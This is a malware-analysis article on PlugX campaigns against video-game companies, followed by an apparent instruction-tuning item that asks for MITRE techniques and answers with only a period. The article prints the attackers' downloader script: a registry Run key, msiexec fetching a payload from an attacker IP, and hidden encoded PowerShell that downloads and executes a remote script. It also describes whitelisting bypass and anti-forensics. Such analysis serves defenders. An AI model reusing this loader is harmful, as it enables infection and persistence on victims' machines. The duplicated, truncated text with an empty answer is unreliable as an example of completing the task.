Article Content The PlugX malware has a long and extensive history of being used in intrusions as part of targeted attacks PlugX is still popular today and its longevity is remarkable The malware itself is well documented, with multiple excellent papers covering most aspects of its functionality Some of the best write-ups on the malware are cited below:  TR-12 – Analysis of a PlugX malware variant used for targeted attacks (Circl) Analysis of a Recent PlugX Variant – “P2P PlugX” (JPCert) PlugX some uncovered points (Airbus) PlugX – The Next Generation (Sophos)  Given this wealth of information in the public domain, PlugX receives a lot of attention from security vendors who put efforts into providing detection mechanisms for it Despite this, it remains a tool of choice for many attackers today, meaning that if attackers are to be successful in using the malware, they must innovate in the delivery and installation of the malware if they are to successfully infect their targets This article discusses a group of PlugX samples which we believe are all used by the same attacker(s), and the measures they have taken to attempt to bypass security mechanisms The targets of these attacks appear to primarily be companies in the video games industry, although other targets may exist outside of our telemetry Specifically, we discovered a series of samples using interesting techniques with respect to:  Resolution of an initial C2 address Combining PlugX with open source tools to initially load the malware Avoiding detection on disk  Palo Alto Networks defends our customers against the samples discussed in this blog in the following ways:  Wildfire identifies all files mentioned in this article as Malicious Palo Alto Networks’ AutoFocus customers can track samples related to this blog via the tag:  ParanoidPlugX  Related IOCs are provided in Appendix A of this blog The mechanics of this exploit are already well covered, and as such do not require further discussion here The document reaches out to download its initial payload from the following URL: hxxp://172.104.65[.]97/Office.rtf This is a downloader script which attempts to download and execute two payloads, the code is shown below:       <script>a=new ActiveXObject("WScript.Shell");a.run('%windir%\\System32\\reg.exe add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v MSASCuiL2 /t reg_sz /d "%windir%\\System32\\msiexec.exe /q /i hxxp://172.104.65\.97/Tasks.png" /f', 0);window.close();a.run('%windir%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -WindowStyle hidden -ep bypass -enc JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAKAEkARQBYACAAJABuAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwAyAC4AMQAwADQALgA2ADUALgA5ADcALwBnAHUAZQBzAHQALgBwAHMAMQAnACkAOwAKAA==', 0);window.close();</script>     The first payload is a Windows Installer (MSI) file, and dynamic analysis of this file piqued out interest We could see the malware was PlugX from its actions, yet the C2 address was a pastebin.com URL Looking at the Pastebin post we expected to immediately identify a block of text which would later decode to a C2 address, but glancing at the returned content we were unable to immediately identify the C2 In this case, the shellcode is a copy of PlugX and is the same shellcode contained in the MSI file that we will dissect below .NET Wrapper The main payload is delivered in a Microsoft .NET Framework file within previously mentioned MSI file This registry key causes the malware to run again each time the system reboots This second shellcode block in turn, will unpack the main PlugX DLL in memory using RtlDecompressBuffer As is typical for PlugX, the header of the final DLL is missing its magic DOS and NT image headers, which are replaced with XV instead of MZ and PE as shown in Figure 2 Figure 2 – The decoded DLL payload using the wrong header, XV instead of MZ/PE Finally, the second shellcode block will resolve the imports and relocations and jump to the entry point of the DLL This DLL itself also contains a default configuration to connect to the localhost on port 12345 This means  if you extract the DLL manually and execute it then it will connect to localhost:12345 rather than the real C2 server, which was passed as an initial argument to the DLL by the first shellcode The versions discussed in the JPCert blog post used 20140918, 353 while the versions we examined use XOR values of 20141118, 8389 The same decryption routine is also used for any other string obfuscation or file encryption as required by this sample of PlugX Extracting C2 PlugX has a feature to extract encrypted C2 configurations from a given URL In this case, the attackers were creative in hiding the string in a seemingly legitimate block of text It parses the “RSA key” looking for magic values “DZKS” and “DZJS” An overview of the whole execution flow for this sample is given in Figure 3 Figure 3 – An overview of the execution flow for this sample In all, the attackers have chained together many disparate pieces of code both custom and open source, all in order to load PlugX Given the number of components, this would have taken a reasonable amount of time and indicates their dedication to evading detection whilst continuing to use the same malware Pivoting to other PlugX samples Based on our findings above, we identified other examples of interesting PlugX samples These other examples were identified based on similar samples that were sent to the targeted organizations, infrastructure used by the attackers, as well as unique delivery mechanisms for samples Paranoid PlugX One related series of PlugX samples we examined appeared to be particularly “paranoid” about being detected on disk and so taking specific anti-forensics steps to defeat being detected on the disk In that respect this case is no different, as the eventual payload executed by a legitimate signed Microsoft binary which loads the DLL “BlackBox.dll” To top this off the script runs most of the deletion commands more than once The result is that there should be no evidence that the malware was ever executed on the disk, making it harder for forensics teams to identify how the malware got there, and meaning that memory or network based detection would be required to identify the intrusion The power of open source & PlugX In the first half of 2017, we saw attackers begin to improve upon this “Paranoid” version of PlugX – it wasn’t enough to be in memory-only after getting infecting the system, the attackers also wanted to bypass application whitelisting techniques in use by network defenders To this end, they began incorporating open source techniques, in particular those that have been assembled in a list authored by the GitHub user SubTee For example, the following sample loads the malware as shellcode within a .NET Framework project using msbuild.exe, effectively bypassing application whitelisting techniques: SHA256: 822b313315138a69fc3e3f270f427c02c4215088c214dfaf8ecb460a5418c5f3 This sample approximately follows the GIST published here, but has additional code which appears to be custom to our attacker which acts as a helper to load the shellcode The shellcode is, as in our first example, another PlugX payload Conclusions & Mitigations While PlugX has been well understood by the security community for years, attackers continue to use the malware Some possible reasons for this continued use include:  The operators of the malware are familiar and comfortable with the existing malware, meaning they are reluctant to change Though competent at packaging PlugX in different ways, the attackers would struggle to write a fully featured malware like PlugX The effort required to rebuild a malware as complex as PlugX is not worth the effort when they can bypass defenses without doing so In all likelihood, a combination of these three factors is behind the continued prevalence of the malware Many PlugX attackers continue to use relatively mundane techniques to load the malware, making it easy for defenders to identify and prevent execution of the malware, but others continue to apply new and interesting techniques to evade detection In particular, this set of attackers have made good use of open source tools to package the malware, and show some skill in writing their own wrapper applications to execute payloads Many in the security industry would be quick to recommend application whitelisting as one of the most effective way to reduce the success rate of attacks, however by applying publicly available techniques it is possible to bypass these controls For organizations relying on Application Whitelisting, SubTee’s blog makes a series of recommendations which help prevent these bypass techniques In addition to these mitigations, the Traps 4.0 can be configured to protect the .NET processes which can be abused in this manner 1234567891011121314151617  import ctypesfrom ctypes import *with open('mysettings.bin','rb') as f:    buffer = f.read()uncompressed_size = len(buffer) * 16uncompressed = create_string_buffer(uncompressed_size)FinalUncompressedSize = c_ulong(0)nt = windll.ntdll# COMPRESSION_FORMAT_LZNT1 = 2res = nt.RtlDecompressBuffer(2, uncompressed, uncompressed_size, buffer, len(buffer), byref(FinalUncompressedSize))if (res == 0):    uncompressed = uncompressed[0:FinalUncompressedSize.value]         Decoding the PlugX configuration:      1234567891011121314151617  def plugx_decode(data):    decode_key = struct.unpack_from('<I', data, 0)[0]     out = ''     # XOR Values might possibly be varied key1 = decode_key ^ 20141118     key2 = decode_key ^ 8389     for c in data[4:]:         # ADD/SUB Values might possibly be varied
Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Article Content The PlugX malware has a long and extensive history of being used in intrusions as part of targeted attacks PlugX is still popular today and its longevity is remarkable The malware itself is well documented, with multiple excellent papers covering most aspects of its functionality Some of the best write-ups on the malware are cited below:  TR-12 – Analysis of a PlugX malware variant used for targeted attacks (Circl) Analysis of a Recent PlugX Variant – “P2P PlugX” (JPCert) PlugX some uncovered points (Airbus) PlugX – The Next Generation (Sophos)  Given this wealth of information in the public domain, PlugX receives a lot of attention from security vendors who put efforts into providing detection mechanisms for it Despite this, it remains a tool of choice for many attackers today, meaning that if attackers are to be successful in using the malware, they must innovate in the delivery and installation of the malware if they are to successfully infect their targets This article discusses a group of PlugX samples which we believe are all used by the same attacker(s), and the measures they have taken to attempt to bypass security mechanisms The targets of these attacks appear to primarily be companies in the video games industry, although other targets may exist outside of our telemetry Specifically, we discovered a series of samples using interesting techniques with respect to:  Resolution of an initial C2 address Combining PlugX with open source tools to initially load the malware Avoiding detection on disk  Palo Alto Networks defends our customers against the samples discussed in this blog in the following ways:  Wildfire identifies all files mentioned in this article as Malicious Palo Alto Networks’ AutoFocus customers can track samples related to this blog via the tag:  ParanoidPlugX  Related IOCs are provided in Appendix A of this blog The mechanics of this exploit are already well covered, and as such do not require further discussion here The document reaches out to download its initial payload from the following URL: hxxp://172.104.65[.]97/Office.rtf This is a downloader script which attempts to download and execute two payloads, the code is shown below:       <script>a=new ActiveXObject("WScript.Shell");a.run('%windir%\\System32\\reg.exe add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v MSASCuiL2 /t reg_sz /d "%windir%\\System32\\msiexec.exe /q /i hxxp://172.104.65\.97/Tasks.png" /f', 0);window.close();a.run('%windir%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -WindowStyle hidden -ep bypass -enc JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAKAEkARQBYACAAJABuAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwAyAC4AMQAwADQALgA2ADUALgA5ADcALwBnAHUAZQBzAHQALgBwAHMAMQAnACkAOwAKAA==', 0);window.close();</script>     The first payload is a Windows Installer (MSI) file, and dynamic analysis of this file piqued out interest We could see the malware was PlugX from its actions, yet the C2 address was a pastebin.com URL Looking at the Pastebin post we expected to immediately identify a block of text which would later decode to a C2 address, but glancing at the returned content we were unable to immediately identify the C2 In this case, the shellcode is a copy of PlugX and is the same shellcode contained in the MSI file that we will dissect below .NET Wrapper The main payload is delivered in a Microsoft .NET Framework file within previously mentioned MSI file This registry key causes the malware to run again each time the system reboots This second shellcode block in turn, will unpack the main PlugX DLL in memory using RtlDecompressBuffer As is typical for PlugX, the header of the final DLL is missing its magic DOS and NT image headers, which are replaced with XV instead of MZ and PE as shown in Figure 2 Figure 2 – The decoded DLL payload using the wrong header, XV instead of MZ/PE Finally, the second shellcode block will resolve the imports and relocations and jump to the entry point of the DLL This DLL itself also contains a default configuration to connect to the localhost on port 12345 This means  if you extract the DLL manually and execute it then it will connect to localhost:12345 rather than the real C2 server, which was passed as an initial argument to the DLL by the first shellcode The versions discussed in the JPCert blog post used 20140918, 353 while the versions we examined use XOR values of 20141118, 8389 The same decryption routine is also used for any other string obfuscation or file encryption as required by this sample of PlugX Extracting C2 PlugX has a feature to extract encrypted C2 configurations from a given URL In this case, the attackers were creative in hiding the string in a seemingly legitimate block of text It parses the “RSA key” looking for magic values “DZKS” and “DZJS” An overview of the whole execution flow for this sample is given in Figure 3 Figure 3 – An overview of the execution flow for this sample In all, the attackers have chained together many disparate pieces of code both custom and open source, all in order to load PlugX Given the number of components, this would have taken a reasonable amount of time and indicates their dedication to evading detection whilst continuing to use the same malware Pivoting to other PlugX samples Based on our findings above, we identified other examples of interesting PlugX samples These other examples were identified based on similar samples that were sent to the targeted organizations, infrastructure used by the attackers, as well as unique delivery mechanisms for samples Paranoid PlugX One related series of PlugX samples we examined appeared to be particularly “paranoid” about being detected on disk and so taking specific anti-forensics steps to defeat being detected on the disk In that respect this case is no different, as the eventual payload executed by a legitimate signed Microsoft binary which loads the DLL “BlackBox.dll” To top this off the script runs most of the deletion commands more than once The result is that there should be no evidence that the malware was ever executed on the disk, making it harder for forensics teams to identify how the malware got there, and meaning that memory or network based detection would be required to identify the intrusion The power of open source & PlugX In the first half of 2017, we saw attackers begin to improve upon this “Paranoid” version of PlugX – it wasn’t enough to be in memory-only after getting infecting the system, the attackers also wanted to bypass application whitelisting techniques in use by network defenders To this end, they began incorporating open source techniques, in particular those that have been assembled in a list authored by the GitHub user SubTee For example, the following sample loads the malware as shellcode within a .NET Framework project using msbuild.exe, effectively bypassing application whitelisting techniques: SHA256: 822b313315138a69fc3e3f270f427c02c4215088c214dfaf8ecb460a5418c5f3 This sample approximately follows the GIST published here, but has additional code which appears to be custom to our attacker which acts as a helper to load the shellcode The shellcode is, as in our first example, another PlugX payload Conclusions & Mitigations While PlugX has been well understood by the security community for years, attackers continue to use the malware Some possible reasons for this continued use include:  The operators of the malware are familiar and comfortable with the existing malware, meaning they are reluctant to change Though competent at packaging PlugX in different ways, the attackers would struggle to write a fully featured malware like PlugX The effort required to rebuild a malware as complex as PlugX is not worth the effort when they can bypass defenses without doing so In all likelihood, a combination of these three factors is behind the continued prevalence of the malware Many PlugX attackers continue to use relatively mundane techniques to load the malware, making it easy for defenders to identify and prevent execution of the malware, but others continue to apply new and interesting techniques to evade detection In particular, this set of attackers have made good use of open source tools to package the malware, and show some skill in writing their own wrapper applications to execute payloads Many in the security industry would be quick to recommend application whitelisting as one of the most effective way to reduce the success rate of attacks, however by applying publicly available techniques it is possible to bypass these controls For organizations relying on Application Whitelisting, SubTee’s blog makes a series of recommendations which help prevent these bypass techniques In addition to these mitigations, the Traps 4.0 can be configured to protect the .NET processes which can be abused in this manner 1234567891011121314151617  import ctypesfrom ctypes import *with open('mysettings.bin','rb') as f:    buffer = f.read()uncompressed_size = len(buffer) * 16uncompressed = create_string_buffer(uncompressed_size)FinalUncompressedSize = c_ulong(0)nt = windll.ntdll# COMPRESSION_FORMAT_LZNT1 = 2res = nt.RtlDecompressBuffer(2, uncompressed, uncompressed_size, buffer, len(buffer), byref(FinalUncompressedSize))if (res == 0):    uncompressed = uncompressed[0:FinalUncompressedSize.value]         Decoding the PlugX configuration:      1234567891011121314151617  def plugx_decode(data):    decode_key = struct.unpack_from('<I', data, 0)[0]     out = ''     # XOR Values might possibly be varied key1 = decode_key ^ 20141118     key2 = decode_key ^ 8389     for c in data[4:]:         # ADD/SUB Values might possibly be varied ### Response: .